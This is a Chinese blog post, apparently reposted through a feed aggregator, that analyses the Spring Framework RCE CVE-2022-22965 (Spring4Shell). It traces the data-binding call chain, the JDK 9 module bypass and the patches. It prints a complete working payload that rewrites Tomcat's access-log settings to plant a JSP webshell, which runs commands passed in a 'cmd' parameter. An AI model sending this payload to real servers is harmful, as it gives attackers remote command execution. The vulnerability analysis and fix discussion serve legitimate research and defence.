惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

MyScale Blog
MyScale Blog
P
Privacy International News Feed
Hugging Face - Blog
Hugging Face - Blog
U
Unit 42
博客园 - 叶小钗
月光博客
月光博客
Microsoft Security Blog
Microsoft Security Blog
Apple Machine Learning Research
Apple Machine Learning Research
The Cloudflare Blog
Project Zero
Project Zero
Cisco Talos Blog
Cisco Talos Blog
The Hacker News
The Hacker News
T
Tor Project blog
阮一峰的网络日志
阮一峰的网络日志
Google DeepMind News
Google DeepMind News
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Help Net Security
Help Net Security
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
Security Latest
Security Latest
I
Intezer
L
LINUX DO - 最新话题
Blog — PlanetScale
Blog — PlanetScale
T
The Exploit Database - CXSecurity.com
Hacker News - Newest:
Hacker News - Newest: "LLM"
酷 壳 – CoolShell
酷 壳 – CoolShell
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
Webroot Blog
Webroot Blog
WordPress大学
WordPress大学
A
About on SuperTechFans
P
Proofpoint News Feed
T
Tailwind CSS Blog
I
InfoQ
The Register - Security
The Register - Security
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
AWS News Blog
AWS News Blog
博客园 - Franky
Simon Willison's Weblog
Simon Willison's Weblog
Last Week in AI
Last Week in AI
博客园 - 聂微东
Application and Cybersecurity Blog
Application and Cybersecurity Blog
Google Online Security Blog
Google Online Security Blog
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
Attack and Defense Labs
Attack and Defense Labs
T
Tenable Blog
大猫的无限游戏
大猫的无限游戏
K
Kaspersky official blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
W
WeLiveSecurity
S
Security @ Cisco Blogs
MongoDB | Blog
MongoDB | Blog

SumSec's Blog

AI Agent 工程的必然演进:CLI、Skills、Harne… 从安全角度谈Java反射机制--前章 · SUMSEC 从安全角度谈Java反射机制--终章 · SUMSEC 逆向学习fastjson反序列化始 · SUMSEC 2020年研究回顾总结 · SUMSEC Abstract syntax tree classes for … Analyzing data flow in Java · SUM… Annotations in Java · SUMSEC Basic query for Java code · SUMSEC BypassSuper使用介绍说明 · SUMSEC CodeQL Create OpenJdk/Jdk8 Databa… CodeQL library for Java · SUMSEC Navigating the call graph · SUMSEC Overflow-prone comparisons in Jav… Types in Java · SUMSEC Working with source locations · S… Aliases · SUMSEC Expression · SUMSEC Formulas · SUMSEC Javadoc · SUMSEC Modules · SUMSEC Predicates · SUMSEC Queries · SUMSEC Type · SUMSEC Variables · SUMSEC 一道shiro反序列化题目引发的思考 · SUMSEC 修改ysoserial使其支持任意代码执行 · SUMSEC 自定义 ClassLoader 隔离运行不同版本jar包的方式 ·… 2020网鼎杯---Java文件上传wp · SUMSEC CNVD-2020-10487(CVE-2020-1938)tom… JDSRC安全课笔记 · SUMSEC Java反序列化链回显解决方案 · SUMSEC Skipped breakpoint because it hap… Windows Terminal 配置文件 · SUMSEC bypass 学习笔记之绕安全狗bypass safedog · … 一次意外的代码审计----JfinalCMS审计 · SUMSEC 一篇文章读懂Java代码审计之XXE · SUMSEC 从安全角度谈Java反射机制--序章 · SUMSEC 小楼昨夜又春风,你知ysoserial-Gadget-URLDNS… 春眠不觉晓,RCE知多少? · SUMSEC 漫谈Commons-Collections反序列化 · SUMSEC 漫谈Java反序列化 · SUMSEC 白头搔更短,SSTI惹人心! · SUMSEC 记一次面试题 · SUMSEC About Me 关于我 · SUMSEC Apache Flink任意Jar包上传导致远程代码执行 · SU… CVE-2019-1388 UAC提权复现 · SUMSEC CVE-2019-16097 || Harbor任意管理员注册漏洞… Python加密shellcode免杀 · SUMSEC Telegram机器人作为渗透测试框架 · SUMSEC VM虚拟机无法安装vmtools解决|本程序需要您将此虚拟机上安装… 谁能想到,电视遥控器竟成了 Vibe Coding 神器 · SU… 从手改 Skill 到自动进化:评测结果和执行轨迹如何让 Agen… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的SKIL… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的Skil… AI 时代 ShiroAttack2 5.x:修改了什么 · SU… 在 AGI 降临前,先给 AI 开一条”脑内弹幕”通道 · SUM… 一篇博文,三种时间:网页幻灯与 Remotion 动效的交付逻辑 … 🔍 别让大模型”想太多”:SKILL开发中的语义陷阱与抗幻觉设计 … 2022 年年度总结 · SUMSEC Java Swing To RCE 漏洞分析 · SUMSEC SpringBoot GatewayEL表达式漏洞分析 · SUM… Sensitive keys in codebases · SUM… 论如何优雅注入 Java 内存马 · SUMSEC SUMSEC 知识点 · SUMSEC VMWare Workspace ONE Access Auth … 相似度算法调研 · SUMSEC CVE-2022-33891 Apache Spark shell… 正则匹配配置不当 · SUMSEC Spring Data MongoDB SpEL CVE-2022… CodeQl Usage Tricks · SUMSEC Spring Boot RCE到内存马探索 · SUMSEC Shiro后渗透拓展面 · SUMSEC shiro反序列化漏洞攻击拓展面–修改key · SUMSEC GitHub Java CodeQL CTF · SUMSEC Hack-Tools 转化成Web · SUMSEC CodeQL与Shiro550碰撞 · SUMSEC CodeQL初见Shiro550 · SUMSEC CodeQL与AST之间联系 · SUMSEC Java加载动态链接库 · SUMSEC Log4j2 漏洞分析 · SUMSEC Interprocedural-Analysis 过程间分析 · … Data Analysis Foundation 数据分析基础 ·… Data Flow Analysis · SUMSEC Intermediate Representation 中间代表(… PII泄露–用CodeQL识别日志中的PII数据 · SUMSEC CodeQL workshop for Java: Unsafe … 前言 · SUMSEC 漏洞环境的搭建 · SUMSEC Fastjson回显 · SUMSEC Tomcat通用回显学习笔记 · SUMSEC 从Java反序列化漏洞题看CodeQL数据流 · SUMSEC 概述 · SUMSEC 记一次Log4j失败的Gadget挖掘记录 · SUMSEC Ysoserial改造记录 · SUMSEC JNDI注入 · SUMSEC shiro JRMP gadget · SUMSEC Fastjson MySQL gadget复现 · SUMSEC 2021年度总结 · SUMSEC
Spring Framework RCE CVE-2022-229…
2023-01-09 · via SumSec's Blog

摘要

本文会从几个角度分析漏洞CVE-2022-22965,首先会从payload的构造。每次我都喜欢先分析漏洞的payload,不得不承认实力没达到可以直接分析漏洞地步。所以会先看看payload的构造过程看看,每次学习和分析漏洞的payload能学到很多有趣的角度和想法。从payload的构造分析,分析payload的构造能够站在挖掘者的角度思考一个sink点,应该如何去寻找一条data-flow-path,并且能够满足流向sink的path。其次会结合SPA知识,call-graph分析部分功能点,最后会分析一波漏洞的修复方案。


Payload 构造

下面是本次RCE的payload,看上去并不是很难的样子。其中蕴藏了几个小知识点,下面逐一分析。首先大体看payload是由请求头和请求体两部分组成。

headers = {
	"suffix":"%>//",
    "c1":"Runtime",
    "c2":"<%",
}



class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

知识点–Tomcat Access Log

在Tomcat的conf目录下的server.xml文件中配置了访问日志文件,

        <!-- Access log processes all example.
             Documentation at: /docs/config/valve.html
             Note: The pattern used is equivalent to using pattern="common" -->
        <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
               prefix="localhost_access_log" suffix=".txt"
               pattern="%h %l %u %t &quot;%r&quot; %s %b" />

className="org.apache.catalina.valves.AccessLogValve"对应设置日志文件的日志规范类,控制日志文件的文件名、文件后缀和日志输出格式等信息。这里我们就大致理解payload中的suffixprefixpattern的作用了。

image-20220404194617108

%{}i在payload中有这个格式,查阅tomcat相关资料可以发现这里的%{}i是以 Apache HTTP 服务器日志配置语法为模型,支持写入传入或传出标头,Cookie,会话或请求属性以及特殊时间戳格式的信息。

image-20220404201252535

这里也就解释了请求包中有特殊的几个header,以及其作用。我们现在可以将payload进行转化一下,也就等同于下面了这段payload。

class.module.classLoader.resources.context.parent.pipeline.first.pattern=<% if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %>//
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

知识点—JDK module模块

JDK9引入了一个新的特性叫做JPMS(Java Platform Module System),也可以叫做Project Jigsaw。模块化的本质就是将一个大型的项目拆分成为一个一个的模块,每个模块都是独立的单元,并且不同的模块之间可以互相引用和调用。

引入module之后,原本被修复的漏洞就使用module特性进行绕过了。

image-20220404202049235


知识点—AbstractNestablePropertyAccessor嵌套结构

为了理解payload为什么会有这么长class.module.classLoader.resources.context.parent.pipeline.first.suffix,这里得理解AbstractNestablePropertyAccessor的嵌套结构。为了帮助读者更好理解嵌套结构,笔者写了一段代码作为演示。

public class School {
    String name;
    Student student;
   // TODO 添加setter和getter方法
    public static class Student {
        String name;
        Age age;
          // TODO 添加setter和getter方法
    }
    public static class Age {
        int age;
           // TODO 添加setter和getter方法
    }
// 为了代码量变少点,这里删除setter和getter方法,如果使用自行添加。
}

对应输出代码,demo类源码参考struts-tester/struts-tester.jsp

 public static void main(String[] args) throws Exception {
        java.util.HashSet set = new java.util.HashSet<Object>();
        School school = new School();
        school.setName("beijing");
        School.Student student = new School.Student();
        student.setName("wangshuai");
        School.Age age = new School.Age();
        age.setAge(18);
        student.setAge(age);
        school.setStudent(student);
        Object target = demo.applyGetChain(school,"");
        boolean debug = false;
        demo demo = new demo();
        demo.processClass(target, System.out, set, "", 0, debug);

    }

从这里可以很轻松的看懂为什么class.module.classLoader.resources.context.parent.pipeline.first.suffix构造,下面另一张图可以找到一些可利用的gadget。

image-20220408150203711

image-20220408153317840


漏洞成因分析

前面我们分析了目前该漏洞最广泛的漏洞payload,那么我们再看看漏洞是如何形成就可以非常明确知道出现问题的可能性了,在分析对应的实现源码。

其实现在已经非常明确知道,这是一个功能点,被恶意利用了。分析源码是为了看实现原理,分析再次如果的可能性以及再遇到再相似代码可以更好的分辨。

org.springframework.beans.AbstractNestablePropertyAccessorgetPropertyAccessorForPropertyPath打个断点,我们先看看他的Call Graph是怎么样。原图地址:call-graph

使用call graph能够比较直观分析数据的流进流出,不难发现getPropertyValue –> getFirstNestedPropertySeparatorIndex->getNestedPropertyAccessor->getPropertyAccessorForPropertyPath是这么一个过程。

image-20220410221901777

但debug看堆栈发现,并不是getPropertyValue去调用了getPropertyAccessorForPropertyPath而是setPropertyValue调用的。

getPropertyAccessorForPropertyPath(String):815, AbstractNestablePropertyAccessor (org.springframework.beans), AbstractNestablePropertyAccessor.java
setPropertyValue(PropertyValue):256, AbstractNestablePropertyAccessor (org.springframework.beans), AbstractNestablePropertyAccessor.java
setPropertyValues(PropertyValues, boolean, boolean):104, AbstractPropertyAccessor (org.springframework.beans), AbstractPropertyAccessor.java
applyPropertyValues(MutablePropertyValues):856, DataBinder (org.springframework.validation), DataBinder.java
doBind(MutablePropertyValues):751, DataBinder (org.springframework.validation), DataBinder.java
doBind(MutablePropertyValues):198, WebDataBinder (org.springframework.web.bind), WebDataBinder.java
tomcat.util.threads), TaskThread.java

如果看源码分析发现,在AbstractNestablePropertyAccessor中也存在getPropertyValue调用了getPropertyAccessorForPropertyPath方法。这也是call-graph的一种缺点吧,相比真正的data-flow-graph还是有不足之处,但相比而言静态的call-graph已经非常具有参考价值了,是一种辅助分析手段。

image-20220411135816134

org.springframework.beans.PropertyAccessorUtils#getNestedPropertySeparatorIndex中,这段代码作用获取.的位置,然后返回位置。在以.为分割线,取字符串,首先会取class字符串,在依次module、classloader…..nestedPath是记录分割之后的字符串,nestedProperty是记录分割出来的字符串,传入getNestedPropertyAccessor方法之中。

image-20220411145624213

首次进入getNestedPropertyAccessor方法会创建一个hashmap,然后调用getPropertyValue方法。

image-20220411150438574

在getPropertyValue方法中调用getLocalPropertyHandler,由于getLocalPropertyHandler是抽象方法,会调用实现方法这里是BeanWrapperImpl.class类中的getLocalPropertyHandler方法。但BeanWrapperImpl是AbstractNestablePropertyAccessor的实现类,JavaBean存在内省(Introspection)机制,调用方法getLocalPropertyHandler之前会首先调用setIntrospectionClass方法。在方法getLocalPropertyHandler中,首先会调用getCachedIntrospectionResults方法,由于此时的BeanWrapperImpl中的CachedIntrospectionResults为null,因此会org.springframework.beans.CachedIntrospectionResults#forClass方法创建CachedIntrospectionResults对象。

image-20220411152656673

在CachedIntrospectionResults类中的构造器方法,存在前面历史漏洞的修复方案。但自从Java9加入module机制之后,此修复方案就可以被绕过了。

image-20220411153019571

首先会加入propertyDescriptors是class所指向的getClass()方法,然后循环之后module所指向的getModule()方法,依此类推。

image-20220411153253137

在全部加入之后,会去=后边的值,实现方法org.springframework.beans.AbstractNestablePropertyAccessor#processLocalProperty方法,最终会调用BeanWrapperImpl#setValue进行赋值操作。

image-20220411154854172


修复方案

与之前修复方式不一样,之前是获取pd的名字,现在直接判断pd类型,直接将classloader和Protection类加入黑名单了。

image-20220411164642240

临时性修复方案,首先来看代码,将{"class.*","Class.*","*.class.*","*.Class.*"}字符串数组加入黑名单,这样子使用大小写无法绕过。但为什么要调用WebDataBinder#setDisallowedFields方法呢?

@ControllerAdvice
@Order(Ordered.LOWEST_PRECEDENCE)
public class GlobalControllerAdvice {
    @InitBinder
    public void setAllowedFields(WebDataBinder dataBinder){
        String[] abd= new String[]{"class.*","Class.*","*.class.*","*.Class.*"};
        dataBinder.setDisallowedFields(abd);
    }
}

我们在回到最初漏洞开始的地方,会看堆栈内容,往前看几眼,会分析存在WebDataBinder对象。发送请求之后,会经过一系列filter,handler操作之后,首先会将请求处理到ServletRequestDataBinder对象中。然后再是WebDataBinder对象,而在WebDataBinder对象中提高设置那些字段不允许的方法。设置之后,恶意请求就会在WebDataBinder过滤掉了,不会进行进一步的处理。

image-20220411220356150


内省机制

下面是一个最简单Spring框架下的内省机制的使用,其中第五行代码 bwl.setPropertyValue("student.name", "张三");。其中student.name,我们能更进一步的理解payload如何构造了,也能理解为什么需要getNestedPropertySeparatorIndex方法将字符串分割。

    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException {
        BeanWrapperImpl bwl = new BeanWrapperImpl(new School());
        bwl.setAutoGrowNestedPaths(true); //自动属性嵌套
        bwl.setPropertyValue("name", "北京大学");
        bwl.setPropertyValue("student.name", "张三");
        PropertyDescriptor[] pds = bwl.getPropertyDescriptors();
        Set<String> propertyNames = new HashSet<String>();
        for (PropertyDescriptor pd : pds) {
            //获取属性名称
            System.out.println(pd.getName() + " : " + "" + pd.getPropertyType() + " : " + pd.getReadMethod().invoke(bwl.getWrappedInstance()));
            propertyNames.add(pd.getName());
        }
        System.out.println(Arrays.toString(propertyNames.toArray(new String[propertyNames.size()])));
        
    }

image-20220411212017666


环境搭建小问题

使用idea热部署debug的时候,配置如下图。

image-20220409142320956

Deployment选择exploded,在项目配置可以看到输出路径,也就是web路径。在该路径下添加jsp,也会动态解析。然后用poc打网站,就路径要写绝对路径。

image-20220409142407102

image-20220409142457062

如果不写绝对路径,webshell会输出到下面的临时路径。因为idea会自动配置一个临时tomcat的配置环境,所以webshell会输出到临时路径。

C:\Users{Name}\AppData\Local\JetBrains\IntelliJIdea2021.3\tomcat


参考

Tomcat Access Log配置

SpringMVC框架任意代码执行漏洞(CVE-2010-1622)分析

Spring Beans RCE分析

spring-framework的修复方案

github 补丁代码